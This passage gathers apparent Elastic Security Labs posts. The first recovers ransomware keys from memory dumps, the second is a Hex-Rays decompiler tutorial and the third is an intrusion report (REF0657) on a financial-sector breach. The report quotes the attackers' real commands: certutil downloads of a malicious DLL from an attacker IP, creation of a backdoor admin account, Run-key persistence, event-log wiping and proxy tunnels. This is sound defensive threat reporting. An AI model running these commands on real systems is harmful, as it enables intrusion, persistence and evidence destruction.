0053cdd8  00000001   // /* +8 */ flags
0053cddc  00000010   // /* +c */ key_size
0053cde0  0053ce70   // /* +10 */ key_bytes

From the dump, we also know the type (AES-CBC), location in memory (0x053ce70), and size (0x10) of the key. The session key can be successfully retrieved!

Not only does this allow complete decryption of all encrypted files for this process, but the astute observer would have noticed that all those steps can be automated, allowing us to create decryptors using just the generated memory dump!

To see this process fully, you can watch the demo and check out the code on GitHub.

We can even create scripts for decryption that would apply to all machines infected with the same variant. Even though WinDbg is the tool of choice, all those steps can be completely automated, making this approach very scalable.

Predicting encryption keys from the process runtime: the case of WANNACRY

WANNACRY is another ransomware family we felt qualified for this experiment, as it is well-known and – most importantly for this research – used a more complex logic for file encryption:

Deep dive into Windows (Pseudo-)random Number generation

To encrypt files, WANNACRY uses Windows' encryption library and generates one random AES key per file by means of the high-level API function advapi32!CryptGenRandom. Each key is associated with the corresponding file, then RSA-encrypted and submitted to its C2. By design, the approach we used against NOTPETYA will not work here. WANNACRY offered us a different challenge, once again demonstrating that having a complete memory dump provides other invaluable resources.

Random number generation is often less random than most people think. Generating a truly random number is both challenging and expensive, and this challenge is at the heart of any cryptographic algorithm.

Windows (not unlike other OS) generates random numbers in a pseudo-random way. This means the random number generator derives an initial state (called a seed) with a cryptographic function (for instance, XorShift or Mersenne-Twister). One of the logical consequences of using PRNG is that knowing the state of the random generator at a moment T allows us to know precisely all random values at T+1, T+2, etc. Note that this is not a weakness as randomness is a highly complex and performance-costly operation; this approach is a great trade-off.

We will be taking advantage of this property to defeat WANNACRY. Knowing that WANNACRY repeatedly will call CryptGenRandom to generate the AES encryption for each file, if we have a way to know those values strictly through emulation of the minidump file, then we will also know the possible AES keys. This looks promising but may conceal several roadblocks.

Taking a step back, what is CryptGenRandom in the first place – what does it do? The MSDN informs us that this (deprecated) function fills up a buffer with random content using a Cryptographic Service Provider(HCRYPTPROV). Setting a breakpoint to CryptGenRandom allows us to look under the hood with WinDbg on a Windows 11 x64. We can then easily traverse the high-level APIs and observe that advapi32!CryptGenRandom is a wrapper to cryptsp!CryptGenRandom, which in turn leads us to the CPGenRandom function in rsaenh.dll.

0:000> g
Breakpoint 9 hit
CRYPTSP!CryptGenRandom+0x29:
00007ffc`990c1699 488b8be0000000  mov     rcx,qword ptr [rbx+0E0h] ds:000001e1`38ade010=e35a16cde1cff7d0
0:000> dps @rbx
000001e1`38addf30  00007ffc`987956d0 rsaenh!CPAcquireContext
000001e1`38addf38  00007ffc`987951e0 rsaenh!CPReleaseContext
000001e1`38addf40  00007ffc`98791140 rsaenh!CPGenKey
000001e1`38addf48  00007ffc`987a8f80 rsaenh!CPDeriveKey
000001e1`38addf50  00007ffc`987948a0 rsaenh!CPDestroyKey
000001e1`38addf58  00007ffc`987aaac0 rsaenh!CPSetKeyParam
[...]

0:000> t
CRYPTSP!CryptGenRandom+0x3c:
00007ffc`990c16ac ff1506c50000    call    qword ptr [CRYPTSP!_guard_dispatch_icall_fptr (00007ffc`990cdbb8)] ds:00007ffc`990cdbb8={CRYPTSP!guard_dispatch_icall_nop (00007ffc`990c4d30)}

0:000> r rax, rcx,rdx ,r8
rax=00007ffc987954d0 rcx=e35a16cde1cff7d0 rdx=0000000000000010 r8=00000065859bfe70

0:000> .printf "%y\n", @rax
rsaenh!CPGenRandom (00007ffc`987954d0)

When CRYPTSP!CryptGenRandom is invoked, the RCX register holds the pointer to the encoded crypto provider, which is XOR encoded with the magic constant 0xE35A172CD96214A0 (Remember the 0xE35A172C magic constant we used earlier? This is its 64-bit version counterpart). Looking at rsaenh!CPGenRandom in IDA made clear the cryptographic provider handle serves only as a check to determine the correct validity of the context passed to the function but has no real implication about the randomness generation.

The entire randomness generation logic is deported to the function cryptbase!SystemFunction036, which simply takes two arguments: the buffer to receive the random data and its length. This was great news because random number generation had no external factor an attacker could use at runtime to make the generation more complex. Going farther into the rabbit hole, we realized that cryptbase!SystemFunction036 itself is nothing more than a light wrapper for bcryptprimitives!ProcessPrng, which – by the name of the function – seems to match our expectations.

The bcryptprimitives DLL is part of the Cryptographic Next Generation API (CNG) and is quite complex. Fully reversing would be out-of-scope for this research, so we only focused on the parts we're interested in. First, we observed that once loaded in the process, the library initializes the process seed - either from the rdrand instruction or from a VTL1 call to the IumKernelState trustlet in the explicitly named InitUmRootRngState function. Then, it populates a random number generator state table and updates the RNG seed version state in the ntdll!_KUSER_SHARED_DATA::RNGSeedVersion.

When ProcessPrng is invoked, the generation of the next pseudo-random number is determined by a CPU-specific state. To be precise, the processor number on which the current thread is running is used as an index to load and generate the next number. We’ll explain more later, but this will be challenging in the future. Using this state information, the next number is produced by invoking AesRNGState_generate, storing the result inside the buffer given in an argument.

This is a non-negligible issue for what we’re trying to accomplish. On multiprocessor-aware Windows (which all modern PCs are), it is hard to consistently know the processor number the thread is running on, making generation prediction impossible. However, Windows provides ways to affect the scheduler, as shown below.

Pseudo-Random number prediction through user-mode emulation of the memory dump

Keeping in sight that to defeat WANNACRY, we need to be able to execute the function cryptbase!SystemFunction036 directly from the memory dump. We can make this with an emulator (like QEMU or Bochs) by mapping the execution context (populating the memory layout, restoring the TEB/PEB etc.) gathered from the memory dump of the ransomware, which we did following these steps:

Parse the user-mode dump to extract and map all the memory layout; for this step, we used the Python bindings of the udmp-parser library
Fully reconstruct a working memory layout in an emulator, for which bochscpu along with its Python bindings were used
Rebuild a valid thread context by finding the function cryptbase!SystemFunction036 and emulating the runtime

However, we still lack the ability to predict on which CPU the thread invoking cryptbase!SystemFunction036 will be running on, therefore, cannot accurately predict the following values returned by the function. On a single-core machine, this is not a problem as our PRNG state table will only hold one entry, and this approach was tested to work perfectly out-of-the-box. However, it fails on multi-core systems, as only the first call to cryptbase!SystemFunction036 would return the correct random values.

cryptbase!SystemFunction036 on single core VM: different outputs" title="Execution of cryptbase!SystemFunction036 on single core VM: different outputs" />

To have accurate emulation on multi-core machines, we need to know the processor number on which the next thread calling cryptbase!SystemFunction036 will be called at runtime is fairly impossible. Two possible approaches were tested:

From the dump, we have knowledge of the entire PRNG state table. Because of this, we can make the emulation script hook the function ntdll!RtlGetCurrentProcessorNumberEx and use it to determine the index in the random table, then have it generate all the values for a specific core. This approach proved successful but extremely tedious, especially at scale as automation would generate exponential possibilities to retrieve the correctly generated sequence.
Another option happens during the canary detection itself. Once the canary confirms it is ransomware, we can enforce the culprit process CPU affinity to only one CPU, whose index we can choose freely. This can be done from kernel or user mode as long as the targeted process is opened with the PROCESS_SET_INFORMATION access right. This processor index will determine the entry taken in the AesStateTable array, and doing so allows us to reliably predict all future values of the PNRG via emulation.

cryptbase!SystemFunction036 on multi-core VM with forced affinity: same output" title="EExecution of cryptbase!SystemFunction036 on multi-core VM with forced affinity: same output" />

To see the WANNACRY process in full, you can watch the demo. We also have the code available for review on GitHub.

Testing both techniques showed that it is possible to predict the future value of the PRNG with the minidump at our disposal. This would be immensely helpful against ransomware like WANNACRY, which uses Windows PRNG to generate unique AES keys for each encrypted file.

Incorporating this research into the Elastic Endpoint

ON Week at Elastic is a place for experimenting without constraints and often leads to great improvements for the existing Elastic solutions.

Process snapshot generation was added to Elastic Security in version 8.11. With protection enabled, should ransomware be detected, the endpoint will generate a complete memory process dump before resuming execution, likely leading to the ransomware process termination. We hope this simple addition can assist DFIR teams further by providing better insight into what the ransomware was attempting.

Recent news has shown that process memory dumps can leak a great amount of valuable private information if made available publicly. Therefore, it must be stressed that no memory dump is ever submitted to Elastic, even with the feature enabled. The dump file is generated (and compressed) by the endpoint locally, and the resulting file is stored within Elastic’s secure installation folder (by default, $ElasticInstallPath\Endpoint\cache\RansomwareDumps). This way, the dump files cannot be easily tampered with by attackers but are easily accessible to forensics and incident response teams to assist them in the recovery process.

Let’s demonstrate this feature in action on a fresh Elastic 8.11 against NOTPETYA: watch the demo

Closing remarks

This concluded our ON Week research with quite a positive outcome. Did we come up with a bulletproof solution against all ransomware? No, and such a thing likely won’t ever exist. As we’ve underlined in the introduction, ransomware exists in so many types and varieties that it probably seems impossible to have one solution for all.

What this research found, however, was that this approach offers a great trade-off between FP risk, system requirements, and potential outcome. There is very little risk of snapshotting the process memory should it be flagged as ransomware by the canary feature. In the case of a false positive, the computer would simply end up with a dump file in a protected location (and ZIP compression would drastically reduce the footprint on disk).

While this is not the perfect ransomware solution, offering a memory dump of the ransomware can boost forensic work and potentially allow teams to recover or even predict session encryption keys. Complete memory dumps can be an amazing ally in debugging and forensics because they provide an exhaustive view of how things happen at runtime. And thanks to emulation, we can confidently retrace some of the steps that lead to a compromise and hopefully fix it.

Introduction to Hex-Rays decompilation internals

Salim Bitam — Wed, 14 Feb 2024 00:00:00 GMT

Introduction

In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code. The final section includes a practical example demonstrating how to annotate a custom import table for malware analysis.

This guide is meant to help reverse engineers and malware analysts better understand the internal structures used during IDA's function decompilation. We advise keeping an eye on the Hex-Rays SDK that can be found under IDA PRO’s plugins directory, all the structures discussed below are sourced from it.

Architecture

Hex-Rays decompiles a function through a multistage process starting with the disassembled code of a function:

Assembly code to microcode:
It does a conversion of the assembly instructions that are stored in an insn_t structure to microcode instructions represented by a minsn_t structure
CTree generation:
From the optimized microcode, Hex-Rays generates the Abstract Syntax Tree(AST), its nodes are either statements (cinsn_t) or expressions (cexpr_t); note that both cinsn_t and cexpr_t inherit from the citem_t structure

Microcode

Microcode is an intermediate language (IL) used by Hex-Rays, generated by lifting the assembly code of a binary. This has multiple advantages, one of which is that it is processor-independent.

The following screenshot displays the assembly and decompiled code, alongside its microcode extracted using Lucid, a tool that facilitates microcode visualization.

We can access the MBA (microcode block array) through the cfunc_t structure of a decompiled function with the MBA field.

Tip: we get the cfunc_t of a decompiled function with the ida_hexrays.decompile.

mba_t is an array of micro blocks mblock_t, the first block represents the entry point of the function and the last one represents the end. Micro blocks (mblock_t) are structured in a double linked list, we can access the next / previous block with nextb/prevb fields respectively. Each mblock_t includes a double linked list of microcode instructions minsn_t, accessed by the field head for the first instruction of the block and tail for the last instruction of the block. The mblock_t structure is depicted in the following code snippet.

class mblock_t
{
//...
public:
  mblock_t *nextb;              ///< next block in the doubly linked list
  mblock_t *prevb;              ///< previous block in the doubly linked list
  uint32 flags;                 ///< combination of \ref MBL_ bits
  ea_t start;                   ///< start address
  ea_t end;                     ///< end address
  minsn_t *head;                ///< pointer to the first instruction of the block
  minsn_t *tail;                ///< pointer to the last instruction of the block
  mba_t *mba;

A microcode instruction minsn_t is a double linked list, each microcode instruction contains 3 operands: left, right, and destination. We can access the next/previous microcode instruction of the same block with next/prev fields; the opcode field is an enumeration (mcode_t) of all the microinstruction opcodes, for example, the m_mov enum represents the mov opcode.

class minsn_t
{
//...
public:
  mcode_t opcode;       ///< instruction opcode enumeration
  int iprops;           ///< combination of \ref IPROP_ bits
  minsn_t *next;        ///< next insn in doubly linked list. check also nexti()
  minsn_t *prev;        ///< prev insn in doubly linked list. check also previ()
  ea_t ea;              ///< instruction address
  mop_t l;              ///< left operand
  mop_t r;              ///< right operand
  mop_t d;              ///< destination operand
 //...

enum mcode_t
{
  m_nop    = 0x00, // nop                       // no operation
  m_stx    = 0x01, // stx  l,    {r=sel, d=off} // store register to memory     
  m_ldx    = 0x02, // ldx  {l=sel,r=off}, d     // load register from memory    
  m_ldc    = 0x03, // ldc  l=const,     d       // load constant
  m_mov    = 0x04, // mov  l,           d       // move                        
  m_neg    = 0x05, // neg  l,           d       // negate
  m_lnot   = 0x06, // lnot l,           d       // logical not
//...
};

Each operand is of type mop_t, depending on the type (accessed with the t field) it can hold registers, immediate values, and even nested microcode instructions. As an example, the following is the microcode of a function with multiple nested instructions:

class mop_t
{
    public:
      /// Operand type.
      mopt_t t;
    union
      {
        mreg_t r;           // mop_r   register number
        mnumber_t *nnn;     // mop_n   immediate value
        minsn_t *d;         // mop_d   result (destination) of another instruction
        stkvar_ref_t *s;    // mop_S   stack variable
        ea_t g;             // mop_v   global variable (its linear address)
        int b;              // mop_b   block number (used in jmp,call instructions)
        mcallinfo_t *f;     // mop_f   function call information
        lvar_ref_t *l;      // mop_l   local variable
        mop_addr_t *a;      // mop_a   variable whose address is taken
        char *helper;       // mop_h   helper function name
        char *cstr;         // mop_str utf8 string constant, user representation
        mcases_t *c;        // mop_c   cases
        fnumber_t *fpc;     // mop_fn  floating point constant
        mop_pair_t *pair;   // mop_p   operand pair
        scif_t *scif;       // mop_sc  scattered operand info
      };
    #...
}

/// Instruction operand types
typedef uint8 mopt_t;
const mopt_t
  mop_z   = 0,  ///< none
  mop_r   = 1,  ///< register (they exist until MMAT_LVARS)
  mop_n   = 2,  ///< immediate number constant
  mop_str = 3,  ///< immediate string constant (user representation)
  #...

The microcode generation progresses through various maturity levels, also referred to as optimization levels. The initial level, MMAT_GENERATED, involves the direct translation of assembly code into microcode. The final optimization level before generating the CTree is MMAT_LVARS.

enum mba_maturity_t
{
  MMAT_ZERO,         ///< microcode does not exist
  MMAT_GENERATED,    ///< generated microcode
  MMAT_PREOPTIMIZED, ///< preoptimized pass is complete
  MMAT_LOCOPT,       ///< local optimization of each basic block is complete.
                     ///< control flow graph is ready too.
  MMAT_CALLS,        ///< detected call arguments
  MMAT_GLBOPT1,      ///< performed the first pass of global optimization
  MMAT_GLBOPT2,      ///< most global optimization passes are done
  MMAT_GLBOPT3,      ///< completed all global optimization. microcode is fixed now.
  MMAT_LVARS,        ///< allocated local variables
};

Microcode traversal example

The following Python code is used as an example of how to traverse and print the microcode instructions of a function, it traverses the microcode generated at the first maturity level (MMAT_GENERATED).

import idaapi
import ida_hexrays
import ida_lines


MCODE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('m_'), dir(ida_hexrays))])

def get_mcode_name(mcode):
    """
    Return the name of the given mcode_t.
    """
    for value, name in MCODE:
        if mcode == value:
            return name
    return None


def parse_mop_t(mop):
    if mop.t != ida_hexrays.mop_z:
        return ida_lines.tag_remove(mop._print())
    return ''


def parse_minsn_t(minsn):
    opcode = get_mcode_name(minsn.opcode)
    ea = minsn.ea

    text = hex(ea) + " " + opcode
    for mop in [minsn.l, minsn.r, minsn.d]:
        text += ' ' + parse_mop_t(mop)
    print(text)


def parse_mblock_t(mblock):
    minsn = mblock.head
    while minsn and minsn != mblock.tail:
        parse_minsn_t(minsn)
        minsn = minsn.next


def parse_mba_t(mba):
    for i in range(0, mba.qty):
        mblock_n = mba.get_mblock(i)
        parse_mblock_t(mblock_n)


def main():
    func = idaapi.get_func(here()) # Gets the function at the current cursor
    maturity = ida_hexrays.MMAT_GENERATED
    mbr = ida_hexrays.mba_ranges_t(func)
    hf = ida_hexrays.hexrays_failure_t()
    ida_hexrays.mark_cfunc_dirty(func.start_ea)
    mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)
    parse_mba_t(mba)


if __name__ == '__main__':
    main()

The script's output is presented below: on the left, the printed microcode in the console, and on the right, the assembly code by IDA:

CTree

In this section, we'll dive into the core elements of Hex-Rays CTree structure, then proceed to a practical example demonstrating how to annotate a custom import table of malware that loads APIs dynamically.

For a better understanding, we will be leveraging the following plugin (hrdevhelper) that allows us to view the CTree nodes in IDA as a graph.

citem_t is an abstract class that is the base for both cinsn_t and cexpr_t, it holds common info like the address, item type and label while also featuring constants like is_expr, contains_expr that can be used to know the type of the object:

struct citem_t
{
  ea_t ea = BADADDR;      ///< address that corresponds to the item. may be BADADDR
  ctype_t op = cot_empty; ///< item type
  int label_num = -1;     ///< label number. -1 means no label. items of the expression
                          ///< types (cot_...) should not have labels at the final maturity
                          ///< level, but at the intermediate levels any ctree item
                          ///< may have a label. Labels must be unique. Usually
                          ///< they correspond to the basic block numbers.
  mutable int index = -1; ///< an index in cfunc_t::treeitems.
                          ///< meaningful only after print_func()
//...

The item type accessed with the op field indicates the type of the node, expression nodes are prefixed with cot_ and the statements nodes are prefixed with cit_, example cot_asg indicates that the node is an assignment expression while cit_if indicates that the node is a condition (if) statement.

Depending on the type of the statement node, a cinsn_t can have a different attribute for example if the item type is cit_if we can access the detail of the condition node through the cif field, as seen in the below snippet, cinsn_t is implemented using a union. Note that a cblock_t is a block statement which is a list of cinsn_t statements, we can find this type for example at the beginning of a function or after a conditional statement.

struct cinsn_t : public citem_t
{
  union
  {
    cblock_t *cblock;   ///< details of block-statement
    cexpr_t *cexpr;     ///< details of expression-statement
    cif_t *cif;         ///< details of if-statement
    cfor_t *cfor;       ///< details of for-statement
    cwhile_t *cwhile;   ///< details of while-statement
    cdo_t *cdo;         ///< details of do-statement
    cswitch_t *cswitch; ///< details of switch-statement
    creturn_t *creturn; ///< details of return-statement
    cgoto_t *cgoto;     ///< details of goto-statement
    casm_t *casm;       ///< details of asm-statement
  };
//...

In the example below, the condition node of type cit_if has two child nodes: the left one is of type cit_block which represents the "True" branch and the right is the condition to evaluate, which is a call to a function, a third child is missing as the condition does not have a "False" branch.

The following is a graph showcasing the statement node cit_if

Find the associated decompilation for the above CTree:

The same logic applies to expressions nodes cexpr_t, depending on the node type, different attributes are available, as an example, a node of type cot_asg has children nodes accessible with the fields x and y.

struct cexpr_t : public citem_t
{
  union
  {
    cnumber_t *n;     ///< used for \ref cot_num
    fnumber_t *fpc;   ///< used for \ref cot_fnum
    struct
    {
      union
      {
        var_ref_t v;  ///< used for \ref cot_var
        ea_t obj_ea;  ///< used for \ref cot_obj
      };
      int refwidth;   ///< how many bytes are accessed? (-1: none)
    };
    struct
    {
      cexpr_t *x;     ///< the first operand of the expression
      union
      {
        cexpr_t *y;   ///< the second operand of the expression
        carglist_t *a;///< argument list (used for \ref cot_call)
        uint32 m;     ///< member offset (used for \ref cot_memptr, \ref cot_memref)
                      ///< for unions, the member number
      };
      union
      {
        cexpr_t *z;   ///< the third operand of the expression
        int ptrsize;  ///< memory access size (used for \ref cot_ptr, \ref cot_memptr)
      };
    };
//...

Finally the cfunc_t structure holds information related to the decompiled function, the function address, the microcode block array, and the CTree accessed with the entry_ea, mba and body fields respectively.

struct cfunc_t
{
  ea_t entry_ea;             ///< function entry address
  mba_t *mba;                   ///< underlying microcode
  cinsn_t body;              ///< function body, must be a block
//...

CTree traversal example

The provided Python code serves as a mini recursive visitor of a CTree, note that it does not handle all node types, the last section will describe how to use the Hex-Rays built-in visitor class ctree_visitor_t. To begin, we obtain the cfunc of the function using ida_hexrays.decompile and access its CTree via the body field.

Next, we check if the node(item) is an expression or a statement. Finally, we can parse the type through the op field and explore its child nodes.

import idaapi
import ida_hexrays

OP_TYPE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('cit_') or y.startswith('cot_'), dir(ida_hexrays))])


def get_op_name(op):
    """
    Return the name of the given mcode_t.
    """
    for value, name in OP_TYPE:
        if op == value:
            return name
    return None


def explore_ctree(item):
        print(f"item address: {hex(item.ea)}, item opname: {item.opname}, item op: {get_op_name(item.op)}")
        if item.is_expr():
            if item.op == ida_hexrays.cot_asg:
                explore_ctree(item.x) # left side
                explore_ctree(item.y) # right side

            elif item.op == ida_hexrays.cot_call:
                explore_ctree(item.x)
                for a_item in item.a: # call parameters
                    explore_ctree(a_item)

            elif item.op == ida_hexrays.cot_memptr:
                explore_ctree(item.x)
        else:
            if item.op == ida_hexrays.cit_block:
                for i_item in item.cblock: # list of statement nodes
                    explore_ctree(i_item)

            elif item.op == ida_hexrays.cit_expr:
                explore_ctree(item.cexpr)

            elif item.op == ida_hexrays.cit_return:
                explore_ctree(item.creturn.expr)


def main():
    cfunc = ida_hexrays.decompile(here())
    ctree = cfunc.body
    explore_ctree(ctree)


if __name__ == '__main__':
    main()

Displayed below is the output of the traversal script executed on the start function of a BLISTER sample:

Practical example: annotating the custom import table of a malware sample

Now that we've gained insights into the architecture and structures of the generated CTree, let's delve into a practical application and explore how to automate the annotation of a custom import table of malware.

Hex-Rays provides a utility class ctree_visitor_t that can be used to traverse and modify the CTree, two important virtual methods to know are:

visit_insn: to visit a statement
visit_expr: to visit an expression

For this example, the same BLISTER sample is used; after locating the function that gets Windows APIs addresses by hash at address 0x7FF8CC3B0926(in the .rsrc section), adding the enumeration to the IDB and applying the enum type to its parameter, we create a class that inherits from ctree_visitor_t, as we are interested in expressions, we will be overriding visit_expr only.

The idea is to locate a cot_call node(1) of the function that resolves APIs by passing the obj_ea address of node’s first child to the function idc.get_name which will return the function name.

   if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
        #...

Next retrieve the enum of the hash by accessing the right parameter of the call node(2), in our case parameter 3.

    carg_1 = expr.a[HASH_ENUM_INDEX]
    api_name = ida_lines.tag_remove(carg_1.cexpr.print1(None))  # Get API name

The next step is to locate the variable that has been assigned the address value of the WinAPI function. To do that we first need to locate the cot_asg node(3), parent of the call node by using the find_parent_of method under cfunc.body of the decompiled function.

    asg_expr = self.cfunc.body.find_parent_of(expr)  # Get node parent

Finally, we can access the first child node(4) under the cot_asg node, which is of type cot_var and get the current variable name, the Hex-Rays API ida_hexrays.rename_lvar is used to rename the new variable with the Windows API name taken from the enum parameter.

This process can ultimately save a significant amount of time for an analyst. Instead of spending time on relabeling variables, they can direct their attention to the core functionality. An understanding of how CTrees work can contribute to the development of more effective plugins, enabling the handling of more complex obfuscations.

For a complete understanding and context of the example, please find the entire code below:

import idaapi
import ida_hexrays
import idc
import ida_lines
import random
import string

HASH_ENUM_INDEX = 2


def generate_random_string(length):
    letters = string.ascii_letters
    return "".join(random.choice(letters) for  in range(length))


class ctree_visitor(ida_hexrays.ctree_visitor_t):
    def __init__(self, cfunc):
        ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST)
        self.cfunc = cfunc
        self.func_name = "sub_7FF8CC3B0926"# API resolution function name

    def visit_expr(self, expr):
        if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
                carg_1 = expr.a[HASH_ENUM_INDEX]
                api_name = ida_lines.tag_remove(
                    carg_1.cexpr.print1(None)
                )  # Get API name
                expr_parent = self.cfunc.body.find_parent_of(expr)  # Get node parent

                # find asg node
                while expr_parent.op != idaapi.cot_asg:
                    expr_parent = self.cfunc.body.find_parent_of(expr_parent)

                if expr_parent.cexpr.x.op == idaapi.cot_var:
                    lvariable_old_name = (
                        expr_parent.cexpr.x.v.getv().name
                    )  # get name of variable
                    ida_hexrays.rename_lvar(
                        self.cfunc.entry_ea, lvariable_old_name, api_name
                    ) # rename variable
        return 0


def main():
    cfunc = idaapi.decompile(idc.here())
    v = ctree_visitor(cfunc)
    v.apply_to(cfunc.body, None)


if __name__ == "__main__":
    main()

Conclusion

Concluding our exploration into Hex-Rays microcode and CTree generation, we've gained practical techniques for navigating the complexities of malware obfuscation. The ability to modify Hex-Rays pseudo code allows us to cut through obfuscation like Control Flow Obfuscation, remove dead code, and many more. The Hex-Rays C++ SDK emerges as a valuable resource, offering well-documented guidance for future reference.

We hope that this guide will be helpful to fellow researchers and any avid learner, please find all the scripts in our research repository.

Resources

Unmasking a Financial Services Intrusion: REF0657

Daniel Stepanic,Salim Bitam,Andrew Pease — Wed, 31 Jan 2024 00:00:00 GMT

Preamble

In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.

By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity.

Key takeaways

REF0657 targeted financial services in South Asia
This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD
The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell

Campaign analysis

Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:

Discovery/enumeration
Downloading additional tools/components
Renaming and staging tools in legitimate folder locations in the environment
Dumping credentials from the registry and adding users to machines
Modifying the environment to enable lateral movement and persistence
Executing proxy tunnelers and shellcode to maintain access into the environment
Compressing and exfiltrating data using cloud services provider Mega
Wiping event logs on multiple machines

Execution Flow / Timeline

A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (sqlservr.exe). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (xp_cmdshell). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.

Discovery/Enumeration/Staging

The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (sqlservr.exe):

Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.

After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use certutil.exe and then moved to bitsadmin.exe, PowerShell’s DownloadFile() method, and eventually back to certutil.exe. These different tools interacted with IP addresses (149.104.23[.]17 and 206.237.3[.]150).

Lateral Movement + Persistence

As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named "helpdesk" on each machine. In some cases, they set up a randomly named Windows service (qLVAMxSGzP) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted.

%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add && \ 
net localgroup administrators helpdesk /add \ 
^> \\127.0.0.1\C$\FOUGTZ 2^>^&1 > %TEMP%\VOruiL.bat & \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat & %COMSPEC% /Q /c del %TEMP%\VOruiL.bat

Execution

The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (ds_monitor.exe). This was used to load Cobalt Strike by side-loading a malicious DLL (msvcp140.dll). We observed the download of the DLL from a certutil.exe execution, and then we confirmed this behavior via call stack telemetry.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll

The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.

Shortly after, Run Key persistence was added to execute (ds_monitor.exe) on system startup.

reg  add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \ 
TrendMicro /t REG_SZ /d \ 
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64

An analysis on msvcp140.dll reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public repository - this is a custom Cobalt Strike memory evasion loader.

While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named config.ini that connects to msedge[.]one.

Dumping credentials

One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.

Network/Registry/Logging Modifications

The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was enabling RDP (set value to 0) through the registry at the following path (HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections). Then, they disabled the Windows Firewall rules using the command:NetSh Advfirewall set allprofiles state off.

Afterward, they enabled Restricted Admin mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP).

cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1> \\127.0.0.1\C$\Windows\Temp\RExePi 2>&1

In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, wevtutil.exe:

cmd.exe /Q /c wevtutil.exe cl System 1> \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2>&1

cmd.exe /Q /c wevtutil.exe cl Security 1> \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2>&1

Tunneling/Proxy Tools

After a day of initial access, the adversary generated several shellcode injection alerts using AppLaunch.exe (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called 1.txt. The command line argument associated with this alert is as follows: c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 >> 1.txt

After examining the injected code, we identified the shellcode as a Golang binary known as iox, which can be compiled from the following publicly available repository. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to 206.237.0[.]49 on port 12355.

Intended or not, the proxy utility was launched by several different legitimate processes: lsass.exe, vmtoolsd.exe, and mctray.exe. In this case, the threat actor side-loaded a common malicious unsigned DLL (mscoree.dll) located in the C:\programdata\ directory.

The actor employed another proxy known as Rakshasa, downloaded directly from the tool's official GitHub page using the certutil command. It was stored in c:\users\public\downloads\ra.exe, and then executed with the following command: C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80.

This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address 149.104.23.176 on port 80. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to C:\programdata\re.txt, and exfiltrated through ICMP using PowerShell.

Exfiltration

One of the more noteworthy parts of this intrusion was centered around the adversary downloading MEGA Cmd, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to ms_edge.exe.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
